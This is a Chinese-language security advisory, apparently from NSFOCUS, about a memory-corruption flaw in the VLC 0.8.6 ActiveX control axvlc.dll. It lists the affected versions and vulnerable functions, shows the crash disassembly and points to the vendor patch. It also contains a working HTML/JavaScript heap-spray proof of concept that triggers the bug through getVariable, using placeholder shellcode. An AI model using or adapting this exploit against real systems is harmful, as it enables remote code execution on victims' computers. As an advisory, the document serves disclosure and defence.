安全研究

安全漏洞
VLC媒体播放器axvlc.dll ActiveX控件内存破坏漏洞

发布日期:2007-11-30
更新日期:2007-12-05

受影响系统:
VideoLAN VLC Media Player 0.86
VideoLAN VLC Media Player 0.8.6c
VideoLAN VLC Media Player 0.8.6b
VideoLAN VLC Media Player 0.8.6a
不受影响系统:
VideoLAN VLC Media Player 0.8.6d
描述:
BUGTRAQ  ID: 26675

VLC Media Player是一款免费的媒体播放器。

VLC播放器的ActiveX控件实现上存在漏洞,远程攻击者可能利用此漏洞控制用户系统。

VLC播放器所使用的ActiveX控件DLL(axvlc.dll)中的三个函数没有正确地检查参数,如果向这些函数传送了特制参数,就可能生成错误初始化的指针,允许攻击者覆盖内存区并执行任意指令。有漏洞的函数分别为:

Sub addTarget (
ByVal uri As String ,
ByVal options As Variant ,
ByVal mode As VLCPlaylistMode ,
ByVal Position As Long)

Function getVariable (ByVal name As String)

Sub setVariable (
ByVal name As String ,
ByVal value As Variant)

声明为String的参数导致了漏洞。

以下反汇编代码是axvlc.dll库崩溃的位置。可以覆盖读取将要执行的指针,具体取决于发送字符串的方式。崩溃还要求之前加载了其他文件导致用攻击者跳转到代码所需的值错误地初始化指针。

000113CD    FF50 14         CALL DWORD PTR DS:[EAX+14]
000113D0    8B53 08         MOV EDX,DWORD PTR DS:[EBX+8]
000113D3    85D2            TEST EDX,EDX

<*来源:Ricardo Narvaja
  
  链接:http://marc.info/?l=bugtraq&m=119678855913670&w=2
        http://secunia.com/advisories/27878/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<head>
<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8'
id='target' ></object>
</head>
<body>
   <script>
      var mm  = null;

      if( target != null )
      {
         var param1 = unescape("%u0505%u0505");
         var salame = "defaultV";
         var salame2 = 1;
         var salame3 = 0;

         ag   = unescape("%uCCCC%uCCCC");
         sh   =
unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
         sz   = sh.length * 2;
         npsz = 0x400000 - (sz + 0x38);
         nps  = unescape("%u0505%u0505");

         while(nps.length * 2 < npsz) nps += nps;
         ihbc = (0x0E000000 - 0x400000) / 0x400000;
         mm   = new Array();

         for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;

         for(var i=0;i<2000;i++)
            param1 = param1 + unescape("%u0505%u0505");
                    
         target.getVariable (param1);
      }
   </script>
</body>
</html>

建议:
厂商补丁:

VideoLAN
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.videolan.org/mirror.html?mirror=http://downloads.videolan.org/pub/videolan/&file=vlc/0.8.6d/win32/vlc-0.8.6d-win32.exe

浏览次数:3253
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障